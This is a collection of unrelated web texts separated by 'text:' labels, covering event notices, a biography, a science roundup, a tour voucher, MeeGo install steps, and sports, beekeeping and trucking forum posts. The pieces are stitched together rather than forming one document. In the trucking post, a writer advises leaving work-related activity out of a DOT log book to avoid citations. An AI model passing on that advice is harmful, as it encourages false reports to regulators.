Also on Saturday, Sept 27, Pulaski Tech will participate in the Little Rock Family Education Expo from 11 a.m. - 4 p.m. at the Clear Channel Metroplex on Colonel Glenn Road in Little Rock. Experts from top private and public schools in central Arkansas will discuss programs and services they have to offer. Participants can register for after-school activities and educational services. Free parenting workshops on study skills, parent/teacher conferences, and other activities will be offered while the kids enjoy free enrichment activities. For more information, click here.
Pulaski Technical College


text:
Harvard's Werner Sollors
UTSA hosts African-American literature expert
(Feb. 13, 2009)--The UTSA Department of English will host African-American literature expert and Harvard professor Werner Sollors as a UTSA Brackenridge Distinguished Visiting Lecturer speaking on "A Photographer and His Subject" at 7 p.m., Friday, Feb. 13 in the Business Building University Room (2.06.04), 1604 Campus. The lecture is free and open to the public.
Today's headlines
- La Prensa Foundation is newest member of UTSA Lone Star Society
- UTSA alumna Jordan Kaufmann wins $50K for new stent-graft start-up
- UTSA begins new way-finding sign installation this summer at Main Campus
- USA Today: UTSA long jumper Tyler Williamson rescues three-year-old boy
Article tools
Sollors is the Henry B. and Anne M. Cabot Professor of English Literature, professor of African and African-American studies and director of graduate studies at Harvard University. One of his most noteworthy publications, among an impressive array of books and articles, is his book "Neither Black Nor White Yet Both: Thematic Explorations of Interracial Literature" (1997), focusing on a topic which is especially timely in these first 100 days of the Obama presidency.
He is co-founder and co-director of Harvard's Longfellow Institute, which is dedicated to the study of literature of the United States in languages other than English.
For more information, contact Steven Kellman, professor of English, at (210) 458-5216 or Bridget Drinka, associate professor and chair of the Department of English, at (210) 458-5130.
Werner Sollors
Sollors earned a Ph.D. degree at the Freie Universitat Berlin and taught in Berlin, at Columbia University and at Universita degli Studi di Venezia. He joined the Harvard faculty in 1983.
His major publications include "Beyond Ethnicity: Consent and Descent in American Literature and Culture" (1986), "Neither Black Nor White Yet Both: Thematic Explorations of Interracial Literature" (1997), a book-length contribution on ethnic modernism in volume 6, Sacvan Bercovitch's "Cambridge History of American Literature" (2003) and "Ethnic Modernism" (2008). He has published essays on Mark Twain, W. E. B. Du Bois, Zora Neale Hurston, Henry Roth, Richard Wright and Amiri Baraka, among many others.
Among his numerous edited books are "Frank J. Webb: Fiction, Essays, Poetry" (2005), "An Anthology of Interracial Literature: Black-White Contacts in the Old World and the New" (2004), "Creole Echoes: The Francophone Poetry of Nineteenth-Century Louisiana" (2004) and "Theories of Ethnicity: A Classical Reader" (1996).
Sollors received a John Simon Guggenheim Memorial Foundation Fellowship (1981) and the Constance Rourke award for the best essay in American Quarterly in 1990. In 2000, he was elected Fellow of the American Academy of Arts and Sciences. Additionally, he is a corresponding member of the Austrian Academy of Sciences and of the Bayerische Amerika-Akademie.
He is listed in "Who's Who in the World," "Who's Who in America," "Who's Who in Education," "Who's Who in American Scholarship," "Who's Who Among America's Teachers" and "2000 Outstanding Scholars of the 21st Century."


text:
Yes, I'm so over Lance Armstrong too. But what we at TimeOut really want to know is who will play him in the film about his sham of a cycling career? You see, this week Paramount Pictures and director JJ Abrams' production company announced they are planning the biopic after securing the rights to New York Times reporter Juliet Macur's upcoming book Cycle of Lies: The Fall of Lance Armstrong.
And if you ask me, the choice of who will play dastardly Lance comes down to the two Ryans - as in Reynolds and Gosling. And it's not just because both resemble the disgraced cyclist, although Reynolds is possibly more like Lance in his wholesome, pre-dope days and Gosling from his sinister bully boy period.
But believe me, there is more to this casting call than looks.
For starters Reynolds is used to wearing lycra from his stint as the Green Lantern. So he could quite easily go from green tights to the yellow jersey. However, on a more scandalous and juicy personal level, like Lance, Reynolds has also had two wives (Scarlett Johansson and Blake Lively).
He was also engaged to Canadian singer Alanis Morissette for a time before their romance was called off which mirrors Armstrong's relationship with country singing star Sheryl Crow.
And then there's Gosling, who is perhaps in the best position to take ownership of the role of sport's greatest villain. He was in a film called Drive and this one could just be called Ride; in his upcoming movie Only God Forgives he plays a particularly scary criminal underworld character, and surely he's peddled some drugs in one of his films over the years? But it was his performance in Drive that showed he has the ruthless and calm resolve to pull off playing a drugs cheat (though he would have to have more lines than he did in that film because our Lance sure likes the sound of his own voice).
Alternatively, if either of the two Ryans don't work out - or don't want to shave their legs for the part - there's always Chris Pine (aka Captain Kirk from the new Star Trek films) or Justin Timberlake, who did a pretty good job of making millions while being drugged up to the eyeballs as Napster founder Sean Parker in The Social Network.
Of the secondary cast, French star Gerard Depardieu would be perfect as Jean-Marie Leblanc, the Tour de France race director from 1989-2005, Sheryl Crow could play herself (the story could be tweaked so she can put the boot into him publicly after their split), and Russell Crowe would be ideal as staunch Kiwi whistleblower Stephen Swart.
I'd watch a film about Armstrong because the story has it all - from a devious bad guy and loads of drug-taking to the win at any costs mentality and what that does to people's warped minds. But best of all, the film would have scenery to rival The Hobbit. Because while the Tour de France has largely become a farce (though thankfully that's changing), it's still worth watching for the travel show on wheels spectacle of it all.
And for that reason someone - are you reading this John Key? - should get on the phone to Abrams right now and organise shooting the film down here. Central Otago's stunning vistas are the perfect substitute for the mountains and valleys of the Pyrenees and the twisty turns of the Crown Range near Queenstown would come alive as the slopes of Alpe d'Huez.
However, that sort of splendour will be a stark contrast to how the film ends, which will presumably be in a miserable and lonely place where your only friend is Oprah.
- TimeOut


text:
Note: This message is displayed if (1) your browser is not standards-compliant or (2) you have you disabled CSS. Read our Policies for more information.
These guides are intended to assist you in your research of certain subjects. If you ever need help with your research please contact the Indiana State Library Reference Desk.
Phone: (317) 232-3678
Toll Free (Indiana only): 866-683-0008
Ask A Librarian


text:
Elizabeth Craft Designs Peel Off stickers can be used for a lot of creative and fun projects like cardmaking, scrapbooking, decorating china, glass etc.
They can be used on all kind of different materials like cardstock, paper, plastic, glass, mirrors, china, candles, textile and wood.
The Peel-Offs are dishwasher and microwave durable
Category: Animals, Christmas, Holidays
Type: Peel-Off sticker
Contact us with any issues or concerns
8.30 AM to 5:00 PM, GMT
Monday through Friday
Sign up for the Elizabeth Craft Designs newsletter and get our latest news, special savings and more!
© 2017 ElizabethCraftDesigns.com.
Elizabeth Craft Designs ships worldwide!
Elizabethcraftdesigns.com ships primarily via USPS and Fedex Ground for US visitors.
Shipping and Handling United States
Shipping rates are calculated by weight.
Orders $75 and up: FREE SHIPPING
Orders up to 69.99 S&H - $15.95
Orders $70 to $99.99 S&H - $18.95
Orders $100 to 149.99 S&H - $21.95
Orders $150 and up FREE SHIPPING
FREE SHIPPING for ALL other International orders over $200
Orders up to $49.99 S&H - $9.95
Orders $50 to $149.99 S&H - $18.95
Orders $150 to $199.99 S&H - $24.95
Orders $200.00 and up FREE SHIPPING


text:
…because the producer of this blog, Dan, who is sitting behind me, Dan Mendelsohn, was CERTAIN that the cute tall strawberry blonde up there with The Secret Life of Bees was, as he said, the "guy from the DaVinci Code". I said, "I don't think Paul Bettany is here, Dan." Now I think I should have kept my mouth shut because I bet him 20 bucks it wasn't Paul Bettany. But I think it was. Ooops.
Leave a Comment
Julian Cooper says:
My kids loves Hanna Montana so much that they are addicted to it. Anyway, Miley is a pretty and talented young girl.";-
Maclogo says:
Cam, check the Yellow Pages in semi-large city or in a large city. My son did and has gotten several gigs over the spat two years. He lives in Austin. I'm not kidding. Go get an interview with one.
Pip says:
That is definitely Paul Bettany.
Cameron Furniss says:
will i know that but you cant just get an agent but thanks 🙂
Maclogo says:
Cam, Get an agent.
Cameron Furniss says:
hello i am cameron furniss i am 16 years old from orlando florida i have been acting for the past 7 years, i would like to get in to the business i have been planing to audition for the disney channel's show hannah montana for the past 6 years but i did not have eney way to get to hollywood california to audition. i am about to move there and would love to fellow my dream to become an actor for the business. i would like to know if there is eney way you can let me know what i need to do to get started in the business? thank you for all your time. please Email me sasp.
Maclogo says:
Don"t worry, it was only a another Jackson.
jenny says:
just saw queen latifa win. blog said she was up and coming- where have you been? she is coming up alright-in weight! Some people go along w crowd- try looking at things for yourself. acting skills never been so great- but so are alot of people.


text:
Discussion in 'Fan Zone' started by Tejano15, Jan 18, 2013.
"@toddarcher: Files to @ESPNDallas - Rod Marinelli Is Cowboys new DL coach."
See it got done.
No more fretting.
They can at least go back to Houston Nutt and how that is a total Jerry hire given his Arkansas friendship.
Oh wait...
Bummer, bad day to be a self professed realist.
But I thought Jerry was being cheap and RM was gonna go to Jacksonville. Guess not.
Glad to see it's a done deal.
Jason La Canfora said this was not a done deal. What's happening here?
Nice to add a DC-in-waiting as Kiffin won't be around that long.
Once Jerry shuts the door and stands in front of it like a meercat, it always gets done.
He needs to go back to being the beat reporter for the Redskins, is what it means.
ever thought Marinelli and his agent couldve tried to drum up some interest from Jax, just to get a better deal here? happens all the time.
I anxiously await the Apology to Jerry thread.
/sarcasm off
The poor sap sucker. That's a fate worse than death.
In truth, I do respect him. He was just wrong this time. It does happen.
Looks like Jerry got his man. I should've never doubted.
Serious question, though. Will we ever be at a place where we have assembled such a crack team of defensive coaches and experts that the players get most of the blame for not producing? This may be that time.
It won't be this time. You'll always have fans blaming coaches and play calling for inferior talent.
I'm not excited whatsoever about the defensive staff. It's a changing league and we've got two dinosaurs expected to keep up with it. There's no question they were great coaches in the past, it's the present I'm concerned about. Age gets the better of all of us at some point. Then you have the scheme switch. Going back to a 4-3 is like getting a kiss from your grandmother.
My focus is on just getting Romo some NFL caliber talent along the OL this offseason. If we can just do that, I'm a happy camper. Flush as many of those turds as you possibly can. Try to win with offense. The coaching on defense wasn't an issue last year. So I'm not sure what we're attempting to fix.
Preach it.
How so? The 43 defense is still widely used and is a very viable scheme.


text:
Exploring Utah's National Parks
Southwest Adventure Tours • Salt Lake City, UT
Escape Kit
- A Four-Day Tour of Moab, Canyonlands National Park, Monument Valley, and Arches National Park for One Adult ($649) or One Child Age 12 or Under ($395), Including:
- Three Nights' Accommodations in Hotels Near Parks
- Round-Trip Ground Transportation between Hotels and Sightseeing Destinations
- Three Breakfasts and Two Lunches
- Daily Tours with an Experienced Guide
- Sunset Hummer Ride
- Taxes and Entrance Fees Included
- All Rates Are per Person Based on Double Occupancy (See Fine Print)
The Destination
Just the 45th state incorporated into the Union, Utah maintains an aura of frontier mystery that still captures the minds of adventurers and westward wanderers today—and it's easy to see why. With some of the most diverse geography in the western hemisphere, the nation's "National Parks Capital"—it boasts five total— is an amalgam of creamy cascading sand dunes, vibrant pine forests, and sunset-red deserts that draw throngs of visitors to marvel at its natural wonders year after year. And thanks to Southwest Adventure Tours, you and 13 others can let Utah leave its mark on your bucket list with a small-group tour of its most memorable natural landmarks.
The Itinerary
day 1: Your journey begins in Salt Lake City. Board a transfer vehicle to Moab from where you'll drive to the Canyonlands for the afternoon. Visit Mesa Arch, Buck Canyon, and Grand Viewpoint where you'll take in the grand vistas of beautiful canyons, monoliths, spires, mesas, and buttes that are scattered throughout this region and along the Colorado and Green Rivers. Then, retire to your hotel in Moab for a relaxing evening.
day 2: Travel to Monument Valley. On the way, stop at the Sand Island Petroglyph site and visit the Goosenecks of the San Juan River. Enjoy lunch at the View restaurant overlooking the Valley where you'll later enjoy a two- to three-hour tour of the great viewpoints made famous throughout the years by hundreds and thousands of movies, TV shows, commercials, and other advertisements. Then, return to your hotel in Moab.
day 3: Explore Arches National Park. See the largest arch in the world, Landscape Arch, and then opt to hike Delicate Arch or explore Devil's Garden. Enjoy an afternoon of free time in Moab before gathering for a sunset hummer tour overlooking the city.
day 4: Enjoy an early-morning walk to Morning Glory Bridge or Corona Arch before returning to Salt Lake City.
For more information, view the Southwest Adventure Tours detailed itinerary.
2013 Departure Dates
• July 16 to 19
• July 23 to 26
• July 30 to August 2
• August 6 to 9
• August 13 to 16
• August 20 to 23
"Its dazzling display of geographic grandeur leaves visitors a bit awestruck and dumbfounded. The panoply of colors, colors everywhere, as far as the eye can see, is more varied than a 64-pack of crayons... [Utah's] haunting topography is that vast."-- Lonely Planet
escapes 30-day promise
LivingSocial gives you up to 30 days to return your unused voucher for a full refund. Once you've made a reservation, you are subject to the merchant's cancellation and refund policy. If you want to secure your preferred dates of travel, we strongly recommend that you complete reservation with the merchant within 30 days of your purchase—after that, LivingSocial will not issue any refunds.
the fine print
- The promotional value is valid only for date range purchased and may not be exchanged or redeemed for any other dates
- Airfare is not included
- Vouchers cannot be combined to extend stay
- Reservations required; subject to availability; not valid toward existing or room block reservations
- Nights must be spent consecutively; all inclusions must be redeemed during one stay
- Merchant cancellation/re-scheduling policy applies; voucher subject to forfeiture
- Rates are per person based on double occupancy (two people sharing a room). Each of two guests must purchase an Escape and arrange to stay together at the hotel. Single occupancy requires an additional fee of $200
- Kids are welcome - 12 years of age and under are $395; please inquire with merchant at time of reservation
- Pets are limited to assistance animals; please notify merchant at time of reservation
- Please bring one large suitcase only; one small piece of carry-on is allowed as well
- Does not include: personal valet, laundry service, room service, telephone calls, wines, beer or liquors, meals not specified and other items of a personal nature
- Vouchers include Three Nights' Accommodations in Hotels Near Parks, Round-Trip Ground Transportation between Hotels and Sightseeing Destinations, Three Breakfasts and Two Lunches Daily Tours with an Experienced Guide, Sunset Hummer Ride, Taxes and Entrance Fees Included
- Other conditions apply • PAID AND PROMOTIONAL VALUES EXPIRES ON July 30, 2013 • PAID VALUE DOES NOT EXPIRE • PAID VALUE EXPIRES ON July 30, 2018 • PROMOTIONAL VALUE EXPIRES ON July 30, 2013 • Enjoy By July 30, 2013
Other conditions apply
Except where noted in the fine print:
• Cannot be combined with any other offer or promotion
• Tax and gratuity are not included
• Merchant is responsible for the quality of the products or services provided to you at redemption
• LivingSocial Terms and Conditions - https://www.livingsocial.com/terms
Original Price:
- 0% savings
- remaining


text:
This roundup summarizes some notable recent items about scientific research, selected from news reports compiled in Sigma Xi's free electronic newsletters Science in the News Daily and Science in the News Weekly. Online: http://sitn.sigmaxi.org and http://www.americanscientist.org/sitnweekly
Wine and table grapes (Vitis vinifera vinifera) haven't had much recombination in the past 7,000 years. To keep specific flavors and traits together, farmers have grown grapes from cuttings for millenia. That clonal reproduction maintains genetic diversity but does not shuffle it. In an analysis of 950 grape samples from the U.S. Department of Agriculture collection, more than half the accessions were clones of others: Seventeen different pinots, for example, were all twins save for a few mutations. Encouraging some grape sex might let growers incorporate traits for pest resistance from rare and wild varieties. Using modern genetic markers, farmers could still track the flavors and colors required for flawless wine.
Myles, S., et al. Genetic structure and domestication history of the grape. Proceedings of the National Academy of Sciences 108:3530–3535 (March 1)
Methane Monsoon
On Saturn's moon Titan, the poles are dotted with hydrocarbon seas but the tropics are an arid expanse of dunes and channels. According to new images from the Cassini spacecraft, that desert may be seasonally quenched with methane rain. In late September 2010, an expansive cloud system crossed Titan's equator and left behind a long dark stain on 500,000 square kilometers of the moon's surface. Researchers think the discolored ground was wet or flooded, and began to drain or evaporate within a month. If the spring rains continue, they may help explain Titan's desert stream beds.
Turtle, E. P., et al. Rapid and extensive surface changes near Titan's equator: Evidence of April showers. Science, 331:1414–1417 (March 18)
Mix and Match Genes
Bacteria and archaea have two ways of gaining new metabolic abilities: Extra copies of their own genes can evolve novel functions, and they can acquire genes from other species. Biologists thought the first method—predominant in eukaryotes—was also the most important in prokaryotes. But a new study of 110 genomes in eight microbial lineages suggests the reverse. When those organisms gained new versions of genes, they did it by acquisition 88 percent of the time. That's probably because copies of existing genes may be deleted as excess baggage before they evolve useful mutations. New genes from another species, however, can serve a novel function right away.
Treangen, T. J. and E. P. C. Rocha. Horizontal transfer, not duplication, drives the expansion of protein families in prokaryotes. PLoS Genetics 7: e1001284 (January 27)
Shivering in Europe
Early humans lived in Europe for 700,000 long cold years before they mastered fire. That conclusion comes as a surprise to many archaeologists, who thought that controlled flames must have been a prerequisite for human migration into colder climates. But a review of data from more than 100 archaeological sites across Europe revealed no evidence of habitual fire use until 400,000 years ago. After that, remains of ancient hearths and scorched tools appeared with increasing frequency. The authors suggest that the first humans in cold climates must have relied on high metabolism—stoked with lots of protein and an active lifestyle—to weather frosty boreal winters.
Roebroeks, W., and P. Villa. On the earliest evidence for habitual use of fire in Europe. Proceedings of the National Academy of Sciences (published online March 14)
Fire-Ant Headquarters
In the 1930s, fire ants (Solenopsis invicta) from Argentina set up shop in Alabama and spread quickly through the southern United States. Now, the insects' new home serves as a launch pad for more invasions around the globe. An analysis of fire-ant DNA from 2,144 colonies indicated that California, China, Taiwan and Australia experienced eight distinct introductions from the southern U.S. A ninth ant envoy passed through California before continuing to Taiwan. Researchers aren't sure why the U.S. fire ants are such super-invaders, but the same traits that helped the first populations settle in the South may give them an edge elsewhere too.
Ascunce, M. S., et al. Global invasion history of the fire ant Solenopsis invicta. Science 331:1066–1068 (February 25)
Amoebas Save Seed
Even single-celled organisms can farm. Social amoebas (Dictyostelium discoideum) live alone and prey upon bacteria until food becomes scarce. Then they form a sluglike collective and creep away together to release spores. Working with 35 strains of wild D. discoideum, researchers discovered that about one-third of the strains always took uneaten bacteria with them when they crawled off. The bacteria then dispersed along with spores, seeding new habitat with good food. That gave the farming strains an advantage when their spores landed on sterile media or on soil with inedible bacteria. But where food was already abundant, the nonfarmers reproduced faster. A patchy food landscape probably maintains the balance between farming and nonfarming strains in nature.
Brock, D. A., et al. Primitive agriculture in a social amoeba. Nature 469:393–396 (January 20)
Bird-Inspired Design
Woodpecker anatomy has inspired a new shock absorber for delicate electronics in plane crashes and bombings. The birds incessantly slam their heads against hard surfaces without brain damage. So engineers studied X-ray scans of a golden-fronted woodpecker (Melanerpes albifrons) and modeled its shock-absorbing structures—such as its elastic beak and partially spongy skull. They mimicked key parts of the bird's head with a cylinder made of metal, rubber and porous glass. Diodes and other delicate devices inside the cylinder survived more than 99 percent of the time when they hit a wall with a deceleration 60,000 times that of gravity. Survival was only 74 percent in conventional shock absorbers.
Yoon, S.-H., and S. Park. A mechanical analysis of woodpecker drumming and its application to shock-absorbing systems. Bioinspiration and Biomimetics 6:016003 (January 17)
Community Guidelines: Disqus Comments
The Art and Science of Communicating Science
American Scientist Classics
Women in Science
Purchase a Back Issue
2014 Annual Index
The Age of Nuclear Weapons
25 Years in North Carolina
© 2016 Sigma Xi, The Scientific Research Society


text:
|George Morrison
Senior Pastor, Faith Bible Chapel
George Morrison is the senior pastor of Faith Bible Chapel, a 4500 member, non-denominational church in Arvada; a city located northwest of Denver, Colorado. The church has two different campuses which host two traditional Sunday morning services, a Spanish-only speaking Sunday service, a traditional Wednesday night service, and multiple Gen-X services. Five other sister churches have been planted and are also located in Colorado. The church organization includes Faith Christian Academy, a kindergarten through 12th grade school with over 1100 students; and a Bible school for part-time students. In addition, Faith Bible Chapel serves the community through the Sonshine Center, which is a day care and pre-school.
Together with his wife Cheryl, Pastor Morrison is a leader in the Denver-metro area for supporting Jewish people and the nation of Israel. Together they support and lead numerous interfaith Pro-Israel rallies as well as host an annual Israel Awareness Day – an educational, inspirational, and motivational series of performances, programs, and music designed to bring community awareness to Israel related issues. For more than two decades, Faith Bible Chapel has been sending The International Singers and Dancers, a performing group that travels to Israel to demonstrate unconditional love to military and civilian Israelis.
Pastor Morrison was born and raised in Pennsylvania. After graduating high school in 1965, he attended Thaddeus Stevens Technical College. In 1968 Pastor Morrison joined the Marines and was sent to South Vietnam in 1969. While there he was stationed at Quang-tri were he served as crew chief for a OV-10A Bronco Aircraft as well as a door gunner in a UH1E helicopter and earned his combat air crew wings. He returned from his tour of duty at the end of 1969 and moved to Colorado in 1972.
After trying many things in search for life's meaning, Pastor Morrison had a dramatic conversion experience with Jesus Christ in 1971. This change gave him a new direction, and from that time forward, he became actively involved in pursuing God's will for his life. After meeting and marrying his wife, Cheryl, in 1972, he graduated from FBC's Bible College in 1974, later becoming a teacher and director of the college. In his earlier years of ministry, he and his wife Cheryl served as house parents for a youth home of 32 young people who desired discipleship. Pastor Morrison was ordained in 1975 and served as an associate pastor at Faith Bible Chapel until 1984 when he assumed the responsibility of Senior Pastor.
In 1990, Pastor Morrison returned to South Vietnam with an organization called "Vets With A Mission." The men took much needed medical supplies into various villages and also worked in some of the orphanages while they were there.
Over the years God has used Pastor Morrison to minister to pastors and church leaders. He has spoken at numerous leadership conferences both in the United States and overseas, including Promise Keepers events, and is the author of the book entitled, If It's Not Broken, Break It! He also serves as Chairman on the Board of Directors for Promise Keepers.
Pastor Morrison currently resides in Arvada with his wife, Cheryl.


text:
In the Name of Allah, The Most Gracious, Ever Merciful.
Love for All, Hatred for None.
Members of MTA Intl. Germany Studios waiting for Huzur
Huzur meets with MTA members
Huzur gives pens to MTA workers
Huzur meets Patel Sahib Office Incharge MTA
Huzur takes a tour of the studios
Huzur meets MTA workers
Huzur talking with MTA workers
Copyright © by the Ahmadiyya Muslim Community. All rights reserved.


text:
Wow, I just found out the hard way that a stock Ram 3500 flatbed requires a log book and DOT number even while running empty in CA. The number must be posted on the door because the the GVW is 12000 pounds. The inspector guy on the creeper stated that this was required even if the truck had a standard bed. This is hard to believe because as I cruise down the road most 3500's I see do not have a DOT number posted. I tried to work the not engaging in interstate commerce angle because I was hauling my own cargo, but that did not fly because I had bought my friend who was driving lunch in CA.
We are averaging one ticket per trip from Oregon to central valley this year with the truck just pulling a forklift and no bees on board. They all have been paperwork or minor fix it tickets, but they always go through the litany of all they stuff they are doing me a favor for not by not writing me up. I suspect they actually could write the extra tickets if they would.
I cant really believe I really believe we need a DOT number just to pull a forklift into CA with a such a small truck. We only leave our lovely state once a year briefly with bees to help make California nuts... wait a minute... they were nuts down there before I brought them any bees.
There must be some exemptions for farmers or agriculture for people who do not actually drive for a living. This whole log book thing is a bit much for a small farmer driving a pick-up. By the way, they want to know what you were doing 2 days prior to your departure in your log book. Don't say anything work related or you will get dinged for being on duty too long even if it was not driving related; answering the phone or paperwork counts as on duty time.


text:
Hi, I'm new to the forum, so this may not be the right place to raise this, but I was looking for some advice.
I collected a swarm three days ago - the swarm started around 4.30 pm, settled in a shrub in a nearby park. This is the end of our flowering season (Australia, just going into Autumn, so its very odd. I thought that the small hive beetle might have got to them. It is, I expect, from a feral colony). Since I didn't have a box prepared, I collected the swarm in a large cardboard container, put two frames with foundation into it, and thought I'd box it up the following day. It was a large swarm. The next day (actually, Wednesday), I emptied it into an eight frame box. All seemed well, until today (Friday). I observed that flying bees were not bringing pollen back in. They hadn't previously either. Late this afternoon, I noticed bees wax powder at the entrance, about a cup full, I thought usually a sign of robbing, but there would be nothing to rob. I am reluctant to open for a couple of days more.
Any suggestions about what to do would be greatly appreciated


text:
More Good Housing Data, More Gains for Homebuilder Stocks
We've seen this story before -- new data shows the U.S. housing market is recovering after years in the doldrums, and shares of housing-related stocks pop in the subsequent trading session.
Today, the number was new home sales, and the number was good:
Sales of single-family properties climbed 1.5 percent last month to a 417,000 annual pace from a 411,000 rate in February, Commerce Department figures showed today in Washington. The median estimate of 76 economists surveyed by Bloomberg called for March sales to rise to 416,000.
As Bloomberg notes, March's numbers contributed to the best quarter for new home sales since 2008.
Today's data is just the latest in a slew of numbers that suggest a rebound is here and here to stay (Washington's fetish for austerity permitting): Last week we saw that housing starts rose to their highest level since June 2008, and while existing home sales fell sequentially, they're still outpacing the year-ago numbers:
Tuesday's report echoes other recent data pointing to the housing market's ongoing recovery. The National Association of Realtors reported Monday that existing-home sales declined in March, but were up 10.3% from the same period in the prior year.
At the latest, shares of Lennar (LEN) are up 6.4%, PulteGroup (PHM) is up 6.2%, and both DR Horton (DHI) and KB Homes (KBH) are up 5.6%. The SPDR S&P Homebuilders ETF (XHB) is up 2.4%.


text:
MeeGo 1.0 Core on TouchBook
MeeGo 1.0 Core is the Meego part which has been released on ARM. It doesn't include the handset UX (the user interface) so it's not yet really interesting, but basic support is here. It should be possible to install Xfce on it once the packages are built.
Disclaimer: these are pretty rough instruction. I've run them on a Debian Lenny box, but beware that the Lenny squashfs package is too old (< 4.0). You need to use squashfs-tools from Squeeze (or make a backport).
You need to build a 2.6.32 kernel following the howto on this wiki.
Creating image
What I did is to use the partitionning available in 2010.03 releases, and to create an other.squashfs to be able to boot directly from the boot menu.
First, we download the MeeGo core image for N900 at http://wiki.meego.com/ARM/N900/Releases/1.0, mount it and extract it to a workable folder. Then we tune it, and create the squashfs.
wget http://repo.meego.com/MeeGo/releases/1.0/core/images/meego-n900-open-armv7l/meego-n900-open-armv7l-220.127.116.1100525.1-sda.raw.bz2 bunzip2 meego-n900-open-armv7l-22.214.171.12400525.1-sda.raw.bz2 mkdir img img2 sudo mount -o loop,offset=$((32*512)) meego-n900-open-armv7l-126.96.36.19900525.1-sda.raw image sudo rsync -a img/ img2/ sudo umount img sudo mv img2 rootfs
At that point, we have an original MeeGo rootfs which we need to tune a little:
# add modules from the 2.6.32 kernel sudo cp -a kernel-modules/lib/modules/2.6.32 rootfs/lib/modules/ # remove N900 xorg configuration sudo rm rootfs/etc/xdg/autostart/n900-keypad.desktop sudo rm rootfs/etc/X11/xorg.conf.d/90-input-n900.conf
Now we can build the squashfs and put it on the 7G partition on the sdcard
cd rootfs sudo mksquashfs . ../other.squashfs sudo mv ../other.squashfs /media/disk/.images/other.squashfs
And finally we put the kernel where on the first partition (it might be a better idea to cat it so the inode doesn't change)
sudo cp kernel-2.6.32/arch/arm/boot/uImage /media/disk1/uImage
Just put the sdcard in the TouchBook and boot it. At the prompt, touch the white rectangle on bottom right. Nothing is displayed on screen during the boot, then X starts with an xterm running (and nothing more)
What works
- it boots
- X starts
- keyboard works, touchscreen seems to work
- wlan0 and pan0 seem detected but I don't have any wireless network to try connection
- touchpad doesn't work fine (cursor position is reset to top left). I think I already fixed that but can't remember how for now.
Meego Handset UX 1.1 pre-release
What's needed
- SGX drivers (closed source)
--Corsac 05:52, 28 May 2010 (UTC)


text:
Trip Start Feb 07, 2009
2Trip End Feb 07, 2009
Map your own trip!
Loading Map
Loading Map
Map Options
Show trip route
Hide lines
Coming upon the site itself was another joy for the spirit. The ceiling is gone leaving tall earth-red walls stretching skyward, and windows casting artistic squares of setting sun. My pup was sniffing every crevice and as intrigued by the whole experience as I was.
We ran into very few people on the trip, but the rangers were available and helpful at each site. I had no idea these mission ruins existed in New Mexico. They are gems of history and I hope to visit again. Having been to Bandalier, Sky City, Valle Caldera, as well as the four corner cliff dwelling sites, I'd say I liked this just as much, possibly even more, and it is less crowded.


text:
3 failed drug tests newest 1 coming this week. Dude just lost millions. If Jenklins who is much better fell that far I wonder how much he drops
No way he goes in the first round now.
When I saw this on ESPN this morning I was pretty shocked...He's going to be like 2013's version of Janoris Jenkins. Which in reality isn't too bad as long as he shapes up after this.
"You killed my family, and I don't like that kind of thing."
Dallas will draft him next year
Id take him the 2nd.. pick #64 of course
Could almost see this coming. His twitter behavior kinda showed he was going to be a problem.
I know people will disagree with me, but I still think this year was a huge need for him to show he could cover vs good competition. It was not something he did last year and he is undersized to play corner in the NFL as it stands now. The only small DBs in the NFL are the guys who can cover.
I think his stock will be crushed by this. Someone will still gamble on him, but I sure wouldnt.
Last edited by BlueSanta; 08-11-2012 at 12:52 AM.
If he goes to a heavy zone team he will be fine. he isnt going to be put outside and cover the teams best WR in man coverage thats not what he is. He is best in a roving role where his u let his instincts take over and go after the ball. The problem with that is your almost creating a new position on your defense for 1 guy.Not every team uses a guy like that but it only takes 1 team


text:
Combine David O.
Russell, the talented maverick director known for getting in a fistfight with
George Clooney on the set of Three Kings (1999)
and humiliating Lily Tomlin while making I Heart Huckabees (2004)
with Christian Bale, the brilliant,
tightly wound actor who attained internet mash-up notoriety with his obscene
tirade at a hapless member of the film crew during the production of Terminator:
Salvation (2009),
and you would think you'd have some fireworks.
With any luck, five of the acting Oscar nominations will go
to actors playing characters with Boston accents. Maybe they should have a
separate category for this, because the roles are becoming almost a cinema stereotype.
Here are seven criteria for an Oscar-worthy Boston accented performance:
1. Borderline psychotic


text:
Note: This message is displayed if (1) your browser is not standards-compliant or (2) you have you disabled CSS. Read our Policies for more information.
The 2nd Annual Women's Day at the Statehouse will be held on Wednesday, January 29, 2014, from 3:30 PM to 5:30 PM, at the Indiana Statehouse, North Atrium (200 West Washington Street, Indianapolis, Indiana 46204).
This year's event will feature updates on the top five priorities (Health-related issues, Work-based issues, Leadership, Care Giving and Violence against Women) identified during ICW's Hoosier Women Speak listening sessions. Presenters from partner organizations, including NAWBO-Indianapolis, will discuss future activities and opportunities for collaboration. For more information contact Kristin Svyantek Garvey, executive director, at 317-232-6720 or email@example.com.
The program is free to attend. However, registration is required. Visit http://2014indianawomensday.eventbrite.com to register for this event.
To introduce the results from the 2011-2012 Hoosier Women Speak listening sessions and follow-up debrief meetings, the Indiana Commission for Women hosted a Women's Day at the Statehouse on February 6, 2013. Based on the results this initiative, four underlying themes were consistently mentioned as community actions and were used as a framework for the event:
Below are the presentations and resources that were provided during the day:


text:
|2012-11-29, 02:31
|Link #81
Senior Member
Join Date: Jan 2003
Location: Germany
IIRC Law took Smoker's heart with ease and had no problems switching Smoker with Tashigi.
|2012-11-29, 02:53
|Link #83
Junior Member
Join Date: Nov 2012
Smoker vs Vergo... Vergo was stronger.
The advantage of being a Logia is the fluid body, but Haki makes that useless.
Even if Smoker was fighting seriously, he would've been beaten because his DF was useless.
|2012-11-29, 05:54
|Link #85
Annie Leonhart
Join Date: Jul 2007
Location: Indiana
Page 6 and 7 Smoker deflected Laws power. His power only works when he is in the room. Fact the Room that Vergo was in during chapter 690 was bigger then the one Smoker was in during Chapter 662. So either Law was holding back his true haki strength or the size of the Law's room determines the power of the attack. Just remember Vergo is not dead only cut in half. If he out fought Sanji and was able to keep up with Smoker, what makes you think he is out of the game yet?
Has for Law taking Smokers heart, Law had to fight for it which he was losing and barely holding on. Chapter 683 pages 14 and 15 Vergo took Law heart with ease. With out Smoker Law would have never recovered his heart.
|2012-11-29, 09:10
|Link #86
Senior Member
Join Date: Dec 2007
With that being said, haki doesn't necessarily render DF defenses useless.
|2012-11-29, 10:55
|Link #87
Join Date: Dec 2004
Want to see Hawkins and Killers abilities expanded since we didn't see anything much from them 2 years ago
|2012-11-29, 13:22
|Link #89
Kamen Rider Muppeteer
Join Date: Jan 2012
Location: Unknown
